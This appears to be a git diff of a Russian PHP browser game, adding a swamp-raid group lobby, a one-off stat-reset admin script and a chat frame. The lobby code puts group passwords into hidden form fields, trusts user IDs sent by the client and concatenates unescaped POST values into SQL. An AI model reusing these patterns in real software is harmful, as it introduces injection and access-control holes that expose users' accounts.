</fieldset>
<BR><BR>
</td>
</tr>
</table>
</FORM>";
}
?>
<BODY bgcolor=#e2e0e0 leftmargin=0 topmargin=0 background='i/boloto/backgrounds/vault.jpg' >
<link rel=stylesheet type="text/css" href="../i/main.css">

268
boloto_vxod.php Normal file
View File

@ -0,0 +1,268 @@
<?
include "config.php";
include "functions.php";
$user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '".$_SESSION['uid']."' LIMIT 1;"));
$now = time();
?>
<HTML><HEAD>
<link rel=stylesheet type="text/css" href="../i/main.css">
<meta content="text/html; charset=utf-8" http-equiv=Content-type>
<META Http-Equiv=Cache-Control Content=no-cache>
<meta http-equiv=PRAGMA content=NO-CACHE>
<META Http-Equiv=Expires Content=0>
</HEAD>
<body leftmargin=5 topmargin=5 marginwidth=5 marginheight=5 bgcolor=#e2e0e0>
<script LANGUAGE='JavaScript' SRC='js/time.js'></script>
<script LANGUAGE='JavaScript'>
document.ondragstart = test;
//запрет на перетаскивание
document.onselectstart = test;
//запрет на выделение элементов страницы
document.oncontextmenu = test;
//запрет на выведение контекстного меню
function test() {
return false
}
</SCRIPT>
<FORM action="city.php" method=GET>
<center><INPUT class=input TYPE="button" value="Подсказка" onClick="window.open('help/combats.html', 'help', 'height=300,width=500,location=no,menubar=no,status=no,toolbar=no,scrollbars=yes')">
<INPUT class=input TYPE=button value="Вернуться" onClick="location.href='main.php?edit=0.467837356797105';">
<br />
<a href = "http://old-dark.ru/i/boloto/boloto.jpg" target="_blank">Карта Прохода</a></center>
</FORM>
<?
if($user['level'] >=7){
//Ring 1
$boots = mysql_fetch_array(mysql_query("SELECT `prototype` FROM `inventory` WHERE `id`='".mysql_real_escape_string($user['boots'])."' AND `owner` = '".mysql_real_escape_string($user['id'])."' AND `dressed` > '0' AND `isrep` = '1' AND `setsale`='0'"));
if($boots['prototype'] == 1109) {
$owntravma = mysql_fetch_array(mysql_query("SELECT `type`,`id`,`sila`,`lovk`,`inta` FROM `effects` WHERE `owner` = '".mysql_real_escape_string($user['id'])."' AND (type=12 OR type=13 OR type=11 OR type=21 OR type=22 OR type=23);"));
if (!$owntravma) {
if($user['anti_boloto'] <= $now){
//afk
if($_POST['afk']) {
Mysql_query("update `users` set `bol_status`='0' where `id`='".mysql_real_escape_string($user['id'])."'");
echo"Ваш статус в группе: Отошел!<br>";
echo"<script>location='boloto_vxod.php'</script>";
}
//ready
if($_POST['ready']) {
Mysql_query("update `users` set `bol_status`='1' where `id`='".mysql_real_escape_string($user['id'])."'");
echo"Ваш статус в группе: Я ГОТОВ!<br>";
echo"<script>location='boloto_vxod.php'</script>";
}
//Вступаем
if($_POST['add']){
$id = $_POST['naw_id'];
$kto = $_POST['add_id'];
$kto_nik = mysql_fetch_array(mysql_query("SELECT `login` FROM `users` WHERE `id` = '".mysql_real_escape_string($kto)."'"));
if($_POST['pass'] == $_POST['naw_pass']){
$per_gro = mysql_fetch_array(mysql_query("SELECT * FROM `bol_group` WHERE `id` = '".mysql_real_escape_string($id)."'"));
if (!$per_gro['p1']){ $p = 'p1'; $pn = 'p1_nik';}
elseif (!$per_gro['p2']){ $p = 'p2' ; $pn = 'p2_nik';}
elseif (!$per_gro['p3']){ $p = 'p3'; $pn = 'p3_nik';}
elseif (!$per_gro['p4']){ $p = 'p4' ; $pn = 'p4_nik';}
else{ $slot = 1;}
mysql_query("UPDATE `bol_group` set `sostav`=`sostav`+'1',`".mysql_real_escape_string($p)."`='".mysql_real_escape_string($kto)."', `".mysql_real_escape_string($pn)."`='".mysql_real_escape_string($kto_nik['login'])."' WHERE id = '".mysql_real_escape_string($id)."'");
mysql_query("UPDATE `users` set `boloto_groups`='".mysql_real_escape_string($id)."' WHERE `id` = '".mysql_real_escape_string($kto)."'");
mysql_query("insert into `vault_user_navig` (`group_id`,`login`,`l`,`t`,`loc`) VALUES ('".mysql_real_escape_string($id)."','".$user['login']."','100','100','2001') ");
echo"Вы удачно вступили в группу!";
echo"<script>location='boloto_vxod.php'</script>";
}else{echo"Пароль не верный!";};
}
//Выходит
if($_POST['exit']){
$id = $_POST['id'] ;
$kto = $_POST['kto'] ;
$per_gro = mysql_fetch_array(mysql_query("SELECT * FROM `bol_group` WHERE `id` = '".mysql_real_escape_string($id)."'"));
if ($per_gro['p1'] == $user['id']) { $p = 'p1'; $pn = 'p1_nik';}
elseif ($per_gro['p2'] == $user['id']){ $p = 'p2' ; $pn = 'p2_nik';}
elseif ($per_gro['p3'] == $user['id']){ $p = 'p3'; $pn = 'p3_nik';}
elseif ($per_gro['p4'] == $user['id']) { $p = 'p4' ; $pn = 'p4_nik';}
else $slot = 1;
mysql_query("UPDATE `bol_group` set `sostav`=`sostav`-'1',`".mysql_real_escape_string($p)."`='0', `".mysql_real_escape_string($pn)."`='' WHERE id = '".mysql_real_escape_string($id)."'");
mysql_query("UPDATE `users` set `boloto_groups`='0',`bol_status`='0' WHERE `id` = '".mysql_real_escape_string($kto)."'");
mysql_query("delete from `vault_user_navig` where `group_id`='".$id."' and `login`='".$user['login']."'");
echo"Вы вышли с группы!<BR>";
echo"<script>location='boloto_vxod.php'</script>";
}
//Расформировка
if($_POST['closed']){
$id = $_POST['id'] ;
$kto = $_POST['kto'] ;
$per_gro = mysql_fetch_array(mysql_query("SELECT * FROM `bol_group` WHERE `id` = '".mysql_real_escape_string($id)."'"));
mysql_query("UPDATE `users` set `boloto_groups`=0, `bol_status`=0 WHERE `id` = '".mysql_real_escape_string($per_gro['p1'])."' or `id` = '".mysql_real_escape_string($per_gro['p2'])."' or `id` = '".mysql_real_escape_string($per_gro['p3'])."' or `id` = '".mysql_real_escape_string($per_gro['p4'])."'");
mysql_query("delete from `bol_group` where `id`='".mysql_real_escape_string($id)."'");
mysql_query("delete from `vault_user_navig` where `group_id`='".$id."'");
echo"Вы расформировали группу!<BR>";
echo"<script>location='boloto_vxod.php'</script>";
}
//СТАРТ!!!
if($_POST['start']){
$id = $_POST['id'] ;
$kto = $_POST['kto'] ;
$group = mysql_fetch_array(mysql_query("SELECT * FROM `bol_group` WHERE `id` = '".mysql_real_escape_string($user['boloto_groups'])."'"));
$per_gro = mysql_fetch_array(mysql_query("SELECT * FROM `bol_group` WHERE `id` = '".mysql_real_escape_string($id)."'"));
$mol4 = $time + 5000;
if($group['p1'] != 0){
mysql_query("INSERT INTO `effects` (`owner`,`name`,`time`,`type`) values ('".mysql_real_escape_string($group['p1'])."','Заклинание молчания',".(time()+5000).",'2');");
if(mysql_fetch_array(mysql_query("SELECT `bol_status` FROM `users` WHERE `id` = '".mysql_real_escape_string($group['p1'])."' AND `bol_status`='1'"))){$i1=1;}else{$i1=0;}
}else{$i1=1;}
if($group['p2'] != 0){
mysql_query("INSERT INTO `effects` (`owner`,`name`,`time`,`type`) values ('".mysql_real_escape_string($group['p2'])."','Заклинание молчания',".(time()+5000).",'2');");
if(mysql_fetch_array(mysql_query("SELECT `bol_status` FROM `users` WHERE `id` = '".mysql_real_escape_string($group['p2'])."' AND `bol_status`='1'"))){$i2=1;}else{$i2=0;}
}else{$i2=1;}
if($group['p3'] != 0){
mysql_query("INSERT INTO `effects` (`owner`,`name`,`time`,`type`) values ('".mysql_real_escape_string($group['p3'])."','Заклинание молчания',".(time()+5000).",'2');");
if(mysql_fetch_array(mysql_query("SELECT `bol_status` FROM `users` WHERE `id` = '".mysql_real_escape_string($group['p3'])."' AND `bol_status`='1'"))){$i3=1;}else{$i3=0;}
}else{$i3=1;}
if($group['p4'] != 0){
mysql_query("INSERT INTO `effects` (`owner`,`name`,`time`,`type`) values ('".mysql_real_escape_string($group['p4'])."','Заклинание молчания',".(time()+5000).",'2');");
if(mysql_fetch_array(mysql_query("SELECT `bol_status` FROM `users` WHERE `id` = '".mysql_real_escape_string($group['p4'])."' AND `bol_status`='1'"))){$i4=1;}else{$i4=0;}
} else{$i4=1;}
if($i1 == 1 && $i2 == 1 && $i3 == 1 && $i4 == 1){
mysql_query("UPDATE `users` set `room`='2001', `bol_poxod`=`bol_poxod`+'1' WHERE `id` = '".mysql_real_escape_string($per_gro['p1'])."' or `id` = '".mysql_real_escape_string($per_gro['p2'])."' or `id` = '".mysql_real_escape_string($per_gro['p3'])."' or `id` = '".mysql_real_escape_string($per_gro['p4'])."'");
mysql_query("UPDATE `bol_group` set `status`='1',`game_time`='".(time()+4800)."' where `id` = '".mysql_real_escape_string($id)."'");
mysql_query("insert into `vault_res` (`id`) VALUES ('".mysql_real_escape_string($user['boloto_groups'])."')");
echo"Проход открылся - можете идти!";
die("<script>location='boloto.php'</script>");
}else{echo"<font color=red><b>Необходимо, чтобы все игроки группы были в статусе \"ГОТОВ\"!</b></font><BR>";}
}
///Создаем группу
if($_POST['new']) {
if($user['money'] >= 40){
$lider = $_POST['lider'];
$pass = $_POST['pass'];
$comm = $_POST['komm'];
$name = mysql_fetch_array(mysql_query("SELECT `login` FROM `users` WHERE `id` = '".mysql_real_escape_string($lider)."' LIMIT 1;"));
mysql_query("INSERT INTO `bol_group` (`pass`,`lider`,`p1`,`comment`,`lider_nik`,`p1_nik`,`level`) VALUES ('".mysql_real_escape_string($pass)."','".mysql_real_escape_string($lider)."','".mysql_real_escape_string($lider)."','".mysql_real_escape_string($comm)."','".mysql_real_escape_string($name['login'])."','".mysql_real_escape_string($name['login'])."','".mysql_real_escape_string($user['level'])."')");
$id_group = mysql_result(mysql_query("SELECT MAX(id) FROM `bol_group` WHERE `lider` = '".mysql_real_escape_string($user['id'])."'"),0);
mysql_query("UPDATE `users` SET `boloto_groups`='".mysql_real_escape_string($id_group)."',`money`=`money`-'40',`bol_status`='1' WHERE `id`='".mysql_real_escape_string($user['id'])."'");
mysql_query("insert into `vault_user_navig` (`group_id`,`login`,`l`,`t`,`loc`) VALUES ('".mysql_real_escape_string($id_group)."','".$user['login']."','100','100','2001') ");
echo"Вы успешно создали группу!<br>";
echo"<script>location='boloto_vxod.php'</script>";
}else{echo"<font color=red><b>У вас нет 40 Кр. для создания группы!</b></font>";}
}
?><HTML><HEAD>
<link rel=stylesheet type="text/css" href="/main.css">
<meta content="text/html; charset=utf-8" http-equiv=Content-type>
<META Http-Equiv=Cache-Control Content=no-cache>
<meta http-equiv=PRAGMA content=NO-CACHE>
<META Http-Equiv=Expires Content=0>
</HEAD>
<body bgcolor="#d7d7d7">
<script LANGUAGE='JavaScript'>
document.ondragstart = test;
//запрет на перетаскивание
document.onselectstart = test;
//запрет на выделение элементов страницы
document.oncontextmenu = test;
//запрет на выведение контекстного меню
function test() {
return false
}
</SCRIPT>
<div id=hint4 class=ahint></div>
<TABLE width=100%>
<TR><TD valign=top width=100%><center><font style="font-size: 16px; color: maroon; font-weight: bold;">Тайный проход из Клуба к Замку Законников</font></center>
</td></tr></table>
<?
echo"<br><form action='boloto_vxod.php' method=post>Доступные для вступления группы:<br>";
$data = mysql_query("SELECT * FROM `bol_group` where `status`='0' AND `level`='".$user['level']."' ORDER by `id` DESC; ");
$chislo = mysql_num_rows($data);
if($chislo > 0){
while($row = mysql_fetch_array($data)) {
echo"№<b>".$row['id']."</b> ";
$QUER=mysql_query("SELECT `login`,`level`,`bol_status` FROM `users` WHERE `boloto_groups`='".mysql_real_escape_string($row['id'])."' ORDER BY `id` ASC");
while($DATAS=mysql_fetch_array($QUER)){
$p1=$DATAS["login"];
$p_login=$DATAS["login"];
$p_lvl=$DATAS["level"];
$status=$DATAS["bol_status"];
if($status == 1){$st="<small>[<font color=green>ok</font>]</small>";}
else{$st="<small>[<font color=red>afk</font>]</small>";}
if($p1!=""){
$p1="$st <b>$p1</b> [$p_lvl]<a href='info.php?log=$p1' target='_blank'><img src='i/inf.gif' border=0></a> ";
if($t1_all[$n]==1){print "$p1";}else{print "$p1,";}
}
}
if(!empty($row[comment])){print"| [<small>$row[comment]</small>] </font>";}
if($user['boloto_groups'] == 0){
if(!empty($row[pass])){print"<input name='naw_pass' type='hidden' value='$row[pass]'><INPUT style=\"background-color:#996633; font-size:12px;\" type='password' name='pass' maxlength=6 size=7>";}
echo"<input style=\"background-color:#996633; font-size:12px;\" name='naw_id' type='hidden' value='$row[id]'>
<input style=\"background-color:#996633; font-size:12px;\" name='lvl' type='hidden' value='$row[level]'>
<input style=\"background-color:#996633; font-size:12px;\" name='add_id' type='hidden' value='$user[id]'>
<INPUT style='background-color:#996633; font-size:12px;' TYPE=submit name=add value='Вступить!'>";
}
echo"<br>";
}
}else{echo"<b>Нет ни одной подходящей Вам группы!</b>";}
echo"</FORM><P>";
if($user['boloto_groups'] == 0){
echo "<hr><table align=left><td align=center><b>Создать свою группу!</b><br><em>Если пароль не нужен, оставьте поле пустым!</em></td><tr>
<td align=left><form action='boloto_vxod.php' method=post>
<input type=hidden name=lider value=".$user['id'].">
Пароль: <input type=password name=pass maxlength=6 size=8><br>
Комментарий: <input type=text name=komm maxlength=20 size=22><br>
<input class=input type=submit name=new value='Создать группу за 40 кр.'></form>
</td></tr></table>";
}
else{
echo"<HR>Вы уже состоите в группе №<b>".$user['boloto_groups']."</b> !<HR>";
echo"<form action='boloto_vxod.php' method=post>";
$vibor = mysql_fetch_array(mysql_query("SELECT `lider` FROM `bol_group` WHERE `id` = '".mysql_real_escape_string($user['boloto_groups'])."'"));
if($user['id'] == $vibor['lider']){echo"<input type=hidden name=id value=".$user['boloto_groups']."><input type=hidden name=kto value=".$user['id']."><input class=input type=submit name=closed value='Расформировать группу!'>";
echo"<input class=input type=submit name=start value='ПОЕХАЛИ!'>";}
else{echo"<input type=hidden name=id value=".$user['boloto_groups']."><input type=hidden name=kto value=".$user['id']."><input class=input type=submit name=exit value='Покинуть группу!'>";}
if($user['bol_status'] == 1){echo"<input class=input type=submit name=afk value='Статус: Отошел'>";}
elseif($user['bol_status'] == 0){echo"<input class=input type=submit name=ready value='Статус: Я ГОТОВ'>";}
echo"</FORM>"; }
}else{echo"<center><font color=red><b>Проход открыт лишь раз в 5 часов!</b></font></center>";
if ($user['anti_boloto']>$now) {
echo"<table cellspacing=0 cellpadding=3 align=center>
<td><font color=black><b><small>До следущего похода: </small></b></font></td>
<td id=gametime style='COLOR: blue; size: 1;'></td>
</table>
<script>ShowTime('gametime',",$user['anti_boloto']-$now,",0);</script>";
}
}
}else{echo"<center><font color=red><b>С травмами и действующими элексирами сюда заходить нельзя!</b></font></center>";}
}else{echo"<center><font color=red><b>Необходимо купить и одеть болотные сапоги!</b></font></center>";}
}else{echo"<center><font color=red><b>Доступ сюда только с 7 уровня!</b></font></center>";}
?>

0
bots_razmen.php Normal file
View File

1
bottom.html Normal file
View File

@ -0,0 +1 @@
<body marginright=0; style="background-image: url(http://img.combats.com/i/move/sand_mid_31.gif); background-repeat:repeat-x; height:5px ">

101
bt.php Normal file
View File

@ -0,0 +1,101 @@
<pre>
<?
//error_reporting(E_ALL);
ini_set("display_errors", 1);
/*
function moon_phase($year,$month,$day) {
if ($month == 1) --$day;
else if ($month == 2) $day += 30;
else
{
$day += 28 + ($month-2)*3059/100;
// adjust for leap years
if (!($year & 3)) ++$day;
if (($year%100) == 0) --$day;
}
$g = ($year-1900)%19 + 1;
$e = (11*$g + 18) % 30;
if (($e == 25 && $g > 11) || $e == 24) $e++;
if ((((($e + $day)*6+11)%177)/22 & 7) == 4) {
return true;
}
}
echo moon_phase(date("Y"),date("m"),date("d"));
*/
include "config.php";
include "functions.php";
//if($_GET['rep']) {
// $d = mysql_fetch_array(mysql_query("SELECT * from inventory where owner=0 AND `id`=".$_GET['rep']));
// $dd = mysql_fetch_array(mysql_query("SELECT * FROM `delo` WHERE `text` LIKE '%".$d['id']."%'ORDER BY `id` DESC LIMIT 1"));
// mysql_query("UPDATE inventory SET owner='".$dd['pers']."' WHERE `id`='".$_GET['rep']."';");
//}
//$data = mysql_query("SELECT * from inventory where `owner`='0' OR `owner`=''");
//while($d = mysql_fetch_array($data)) {
// $dd = mysql_fetch_array(mysql_query("SELECT * FROM `delo` WHERE `text` LIKE '%".$d['id']."%'ORDER BY `id` DESC LIMIT 1"));
// echo $d['id']." ".$d['name']." ".$dd['pers']." ".$dd['text']." <a href='?rep=".$d['id']."'>Вернуть ".nick7($dd['pers'])."</a><BR>";
//}
//settravma(2);
// exec("../daemons/arch.php");
$exps = array(
"20" => array (15),
"45" => array (16),
"75" => array (17),
"110" => array (18),
"160" => array (21),
"215" => array (22),
"280" => array (23),
"350" => array (24),
"410" => array (25),
"530" => array (28),
"670" => array (29),
"830" => array (30),
"950" => array (31),
"1100" => array (32),
"1300" => array (33),
"1450" => array (36),
"1650" => array (37),
"1850" => array (38),
"2050" => array (39),
"2200" => array (40),
"2500" => array (41),
"2900" => array (46),
"3350" => array (47),
"3800" => array (48),
"4200" => array (49),
"4600" => array (50),
"5000" => array (51),
"6000" => array (54),
"7000" => array (55),
"8000" => array (56),
"9000" => array (57),
"10000" => array (58),
"11000" => array (59),
"12000" => array (60),
"12500" => array (61),
"14000" => array (64),
"15500" => array (65),
"17000" => array (66),
"19000" => array (67),
"21000" => array (68),
"23000" => array (69),
"27000" => array (70),
"30000" => array (71),
"60000" => array (76),
"75000" => array (77),
"150000" => array (78),
"175000" => array (79) );
echo "<pre>";
$ss = mysql_query("select `id`,`nextup`,`level` FROM `users` WHERE `level` > 0 AND `level` < 8 AND id='6490';");
while($ssd=mysql_fetch_array($ss)) {
undressall($ssd['id']);
mysql_query( "UPDATE `users` SET `sila`='3',`lovk`='3',`inta`='3',`vinos`='".(3+$ssd['level'])."',`intel`='0',`stats` = ".($exps[$ssd['nextup']][0]-12)." WHERE `id`='".$ssd['id']."';"); // ,$ssd['nextup'],"
}
?>

0
buttons.html Normal file
View File

984
buttons.php Normal file
View File

@ -0,0 +1,984 @@
<?php
session_start();
if ($_SESSION['uid'] == null) { header("Location: index.php"); }
include "config.php";
$user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '".$_SESSION['uid']."' LIMIT 1"));
include "functions.php";
header("Cache-Control: no-cache");
if($_GET['header']) {
die();
} elseif($_GET['ch'] != null) {
?>
<html>
<head>
<link rel="stylesheet" type="text/css" href="css/main.css" />
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<script type="text/javascript" src="js/ZeroClipboard.js"></script>
<script language="JavaScript" src="js/jquery.min.js"></script>
<script language="JavaScript" src="js/ch.js"></script>
<script language="JavaScript" src="js/sl2.js"></script>
<script language="JavaScript" src="js/chat.js"></script>
<script language="JavaScript" type="text/JavaScript">
function solo(n) {
window.location.href = '/movement.php?path='+n+'&rnd='+Math.random();
}
function chts(nm) {
top.frames['main'].location = 'give.php?undate=1';
}
function cht_s() {
top.frames['main'].location = 'give.php';
}
function showtable(tblname) {
hidesel(tblname);
hidemenu(0);
document.getElementById('menu'+tblname).style.visibility = 'visible';
document.getElementById('menu'+tblname).style.width = '';
document.getElementById('menu'+tblname).style.overflow = 'visible';
}
function hidesel(tblname) {
for(var i = 1; i <= 5; i++) {
if(i != tblname) {
document.getElementById('el'+i).style.backgroundColor = '';
document.getElementById('el'+i).style.color = '';
}
}
}
function hidemenu(time) {
for(var i = 1; i <= 4; i++) {
document.getElementById('menu'+i).style.visibility = 'hidden';
document.getElementById('menu'+i).style.width = '1px';
document.getElementById('menu'+i).style.overflow = 'hidden';
}
}
function jumptopath(path, topframe) {
var rnd = Math.random();
if(!topframe) {
top.frames['main'].location.href = ''+path+'&rand='+rnd;
} else {
top.location.href = ''+path+'&rand='+rnd;
}
}
function loadpers() {
document.getElementById('el4').style.backgroundColor = '#404040';
document.getElementById('el4').style.color = '#FFFFFF';
showtable('4');
}
function toold() {
top.OnlineOld = true;
}
</script>
<style type="text/css">
a.hoversmile:hover {
background-color: gray;
}
.ssm-smile {
width:400px;
height:140px;
background-color:#f2f0f0;
text-align: center;
border: 2px groove black;
opacity: 0.8; filter: alpha (opacity=80);
}
.ssm-smile-title {
height:10px;
font-size:120%;
FONT-FAMILY:Tahoma;
background:url(../i/smilestitle.gif);
}
.ssm-smile-body {
padding: 5px;
overflow-y:scroll;
height: 110px;
}
.menu {
background-color: #d2d0d0;
border-color: #ffffff #626060 #626060 #ffffff;
border-style: solid;
border-width: 1px;
position: absolute;
left: 0px;
top: 0px;
visibility: hidden;
}
.menuItem {
border: 0px solid #000000;
color: #003388;
display: block;
font-family: MS Sans Serif, Arial, Tahoma,sans-serif;
font-size: 8pt;
font-weight: bold;
padding: 2px 12px 2px 8px;
text-decoration: none;
cursor:pointer;
}
.menuItem:hover {
background-color: #a2a2a2;
color: #0066FF;
}
span {
font-size: 10pt;
font-family: Verdana, Arial, Helvetica, Tahoma, sans-serif;
text-decoration: none;
font-weight: bold;
cursor: pointer;
}
.my_clip_button {
border: 0px solid #000000;
color: #003388;
display: block;
font-family: MS Sans Serif, Arial, Tahoma,sans-serif;
font-size: 8pt;
font-weight: bold;
padding: 2px 12px 2px 8px;
text-decoration: none;
}
.my_clip_button.hover {
background-color: #a2a2a2;
color: #0066FF;
}
.chheadpas {
background:url(http://i.oldbk.com/i/chat/chat_passive.jpg);
background-repeat:no-repeat;
text-align: center;
}
.chheadact {
background:url(http://i.oldbk.com/i/chat/chat_aaactive.jpg);
background-repeat:no-repeat;
text-align: center;
}
.newspas {
background:url(http://i.oldbk.com/i/chat/news_pass.gif);
background-repeat:no-repeat;
text-align: center;
cursor:pointer;
white-space: nowrap;
}
.newspasr {
background:url(http://i.oldbk.com/i/chat/news_passr.gif);
background-repeat:no-repeat;
text-align: center;
cursor:pointer;
white-space: nowrap;
}
.newsact {
background:url(http://i.oldbk.com/i/chat/news_active.gif);
background-repeat:no-repeat;
text-align: center;
cursor:pointer;
white-space: nowrap;
}
.cho {
background:url(http://i.oldbk.com/i/chat/x_bg.jpg);
}
.chmtext {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
color: #8b8b8b;
font-size: 10px;
text-align: center;
text-decoration:none
}
.chheadpas {
cursor:pointer;
}
.chheadpas.chmtext:hover {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
color: #1b1b1b;
font-size: 10px;
text-align: center;
text-decoration:none;
}
.chmtext:visited {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
color: #1b1b1b;
font-size: 10px;
text-align: center;
text-decoration:none
}
.chheadpas:hover a {color:#000000;}
.chheadact:hover a {color:#8b8b8b;}
.chheadact a {color:#000000;}
.chheadact:hover a {color:#000000;}
.chheadact:hover a {cursor:default;}
.ssm-smile {
width:400px;
height:140px;
background-color:#f2f0f0;
text-align: center;
border: 2px groove black;
opacity: 0.8; filter: alpha (opacity=80);
}
</style>
<style>
#qsst {
position:absolute;
z-index:10000000;
cursor:default;
display:none;
top:50px;
left:50px;
}
#onbon {
position:absolute;
z-index:100;
cursor:default;
display:none;
bottom:30px;
left:18px;
}
#mini_qsst {
position:absolute;
z-index:100;
cursor:default;
display:none;
bottom:10px;
right:18px;
}
</style>
<div id="qsst"></div>
<div id="mini_qsst" onClick="top.qn_slk()" style="cursor:pointer">
</div>
<script>
function S(name) {
var sData = top.frames['bottom'].window.document;
sData.F1.text.focus();
sData.F1.text.value = sData.F1.text.value + ':'+name+': ';
}
function SSm(name) {
ssminput = top.frames['bottom'].document.getElementById('ssmtext');
ssminput.focus();
ssminput.value += ':'+name+': ';
}
var MsgArray = new Array();
var ImHelper = false;
function p(text, type) {
if(type == 2 && text.indexOf("private") == -1) type = 1;
MsgArray.push(new Array(text, type));
if(MsgArray.length >= 350) {
MsgArray.splice(0, 100);
redraw = true;
}
var redraw = false;
if(type == currenttab || (currenttab == 1 && CheckMask(type) && type != 6 && type != 8) || (currenttab == 6 && CheckMask2(type) && type != 8) || (type == 7 && currenttab != 99) || (currenttab == 8 && CheckMask3(type) && type != 6)) {
document.getElementById("mes").innerHTML += text+"<BR>";
if(redraw) { RedrawWindow(); }
if(!top.OnlineOld) { document.getElementById("wtab"+type).style.color = "#1b1b1b"; }
} else {
if((viewmask[4] == 0 && !CheckMask(type) && type != 6) || (ImHelper && type == 6) || (viewmask[4] == 0 && ((currenttab >= 2 && currenttab <= 5) || (currenttab == 8)) && type != 6 && type != 8) || (viewmask[4] == 0 && currenttab == 6 && !CheckMask2(type) && type != 6)) {
if(type != 1 && type != 7) {
if(!top.OnlineOld) { document.getElementById("wtab"+type).style.color = "#1b1b1b"; }
}
}
}
}
var currenttab = 1;
var viewmask = new Array(1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
var showhelpalert = true;
function ctab(n) {
if(n == currenttab) return;
document.getElementById("wtab"+n).style.color = "#1b1b1b";
if(currenttab == 99) {
for(i = 2; i < 16; i++) {
val = document.getElementById("mask"+i).checked;
viewmask[i-2] = val;
}
}
document.getElementById("ctab"+currenttab).className = "chheadpas";
document.getElementById("ctab"+n).className = "chheadact";
currenttab = n;
RedrawWindow();
}
function clearfull() {
if(confirm('Очистить весь чат?')) {
clrchat();
}
document.getElementById("ClearMenu").style.display = "none";
}
function clearpanel() {
MsgArray = new Array();
if(currenttab == 1) {
document.getElementById("mes").innerHTML = "";
} else if(currenttab == 2) {
document.getElementById("mes_private").innerHTML = "";
} else if(currenttab == 3) {
document.getElementById("mes_klan").innerHTML = "";
} else if(currenttab == 4) {
document.getElementById("mes_pal").innerHTML = "";
} else if(currenttab == 5) {
document.getElementById("mes_system").innerHTML = "";
} else if(currenttab == 6) {
document.getElementById("mes_help").innerHTML = "";
} else if(currenttab == 8) {
document.getElementById("mes_trade").innerHTML = "";
}
document.getElementById("ClearMenu").style.display = "none";
}
function clrchat() {
MsgArray = new Array();
if((currenttab != 99) && (currenttab != 9)) {
document.getElementById("mes").innerHTML = "";
document.getElementById("mes_private").innerHTML = "";
document.getElementById("mes_klan").innerHTML = "";
document.getElementById("mes_pal").innerHTML = "";
document.getElementById("mes_trade").innerHTML = "";
document.getElementById("mes_system").innerHTML = "";
document.getElementById("mes_help").innerHTML = "";
}
}
function RedrawWindow() {
if(currenttab == 1) {
$('#mes').show();
$('#mes_private').hide();
$('#mes_klan').hide();
$('#mes_pal').hide();
$('#mes_trade').hide();
$('#mes_system').hide();
$('#mes_help').hide();
} else if(currenttab == 2) {
$('#mes').hide();
$('#mes_private').show();
$('#mes_klan').hide();
$('#mes_pal').hide();
$('#mes_trade').hide();
$('#mes_system').hide();
$('#mes_help').hide();
} else if(currenttab == 3) {
$('#mes').hide();
$('#mes_private').hide();
$('#mes_klan').show();
$('#mes_pal').hide();
$('#mes_trade').hide();
$('#mes_system').hide();
$('#mes_help').hide();
} else if(currenttab == 4) {
$('#mes').hide();
$('#mes_private').hide();
$('#mes_klan').hide();
$('#mes_pal').show();
$('#mes_trade').hide();
$('#mes_system').hide();
$('#mes_help').hide();
} else if(currenttab == 5) {
$('#mes').hide();
$('#mes_private').hide();
$('#mes_klan').hide();
$('#mes_pal').hide();
$('#mes_trade').hide();
$('#mes_system').show();
$('#mes_help').hide();
} else if(currenttab == 6) {
$('#mes').hide();
$('#mes_private').hide();
$('#mes_klan').hide();
$('#mes_pal').hide();
$('#mes_trade').hide();
$('#mes_system').hide();
$('#mes_help').show();
} else if(currenttab == 8) {
$('#mes').hide();
$('#mes_private').hide();
$('#mes_klan').hide();
$('#mes_pal').hide();
$('#mes_trade').show();
$('#mes_system').hide();
$('#mes_help').hide();
}
top.frames['chat'].window.scrollBy(0, 65000);
top.frames['chat'].window.scrollBy(0, 65000);
}
function CheckMask(tab) {
if(viewmask[tab-2]) return true;
return false;
}
function CheckMask2(tab) {
if(viewmask[tab+3]) return true;
return false;
}
function CheckMask3(tab) {
if(viewmask[tab+8]) return true;
return false;
}
</script>
<script src="js/jquery.cookie.js"></script>
</head>
<body leftmargin=0 topmargin=0 marginheight=0 marginwidth=0 bgcolor=#eeeeee onload="top.RefreshChat()" style="background: rgb(226, 224, 224);">
<div id="fixednew" style="position: fixed; margin: -3px; padding: 0px; z-index: 999; width: 100%; text-align: center; overflow: auto;">
<table border="0" cellspacing="0" cellpadding="0" width="100%">
<tr>
<td background="http://i.oldbk.com/i/chat/x_bg.jpg" height="26">&nbsp;</a></td>
<td nowrap width="26" height="26" background="http://i.oldbk.com/i/chat/chat_icon.jpg"></td>
<td nowrap width=115 height="26" id="ctab1" class="chheadact" onclick="ctab(1); return false;"><a href="#" id="wtab1" class="chmtext">Общий чат</a></td>
<!--<td nowrap width=115 height="26" id="ctab2" class="chheadpas" onclick="ctab(2); return false;"><a href="#" id="wtab2" onclick="ctab(2); return false;" class="chmtext">Приваты</a></td>-->
<? if($user['klan'] != '') { ?>
<!--<td nowrap width=115 height="26" id="ctab3" class="chheadpas" onclick="ctab(3); return false;"><a href="#" id="wtab3" onclick="ctab(3); return false;" class="chmtext">Клановый чат</a></td>-->
<? } ?>
<? if((int)$user['align'] == 1 || $user['align'] == 1.5 || $user['align'] == 1.7 || $user['align'] == 1.75 || $user['align'] == 1.91 || $user['align'] == 1.92 || $user['align'] == 1.97 || $user['align'] == 1.98 || $user['align'] == 1.99 || $user['align'] == 2.99) { ?>
<td nowrap width=115 height="26" id="ctab4" class="chheadpas" onclick="ctab(4); return false;"><a href="#" id="wtab4" onclick="ctab(4); return false;" class="chmtext">Пал. чат</a></td>
<? } ?>
<td nowrap width=115 height="26" id="ctab8" class="chheadpas" onclick="ctab(8); return false;"><a href="#" id="wtab8" onclick="ctab(8); return false;" class="chmtext">Торговый</a></td>
<td nowrap width=115 height="26" id="ctab5" class="chheadpas" onclick="ctab(5); return false;"><a href="#" id="wtab5" onclick="ctab(5); return false;" class="chmtext">Системные</a></td>
<!--<td nowrap width=115 height="26" id="ctab6" class="chheadpas" onclick="ctab(6); return false;"><a href="#" id="wtab6" onclick="ctab(6); return false;" class="chmtext">Помощь</a></td>-->
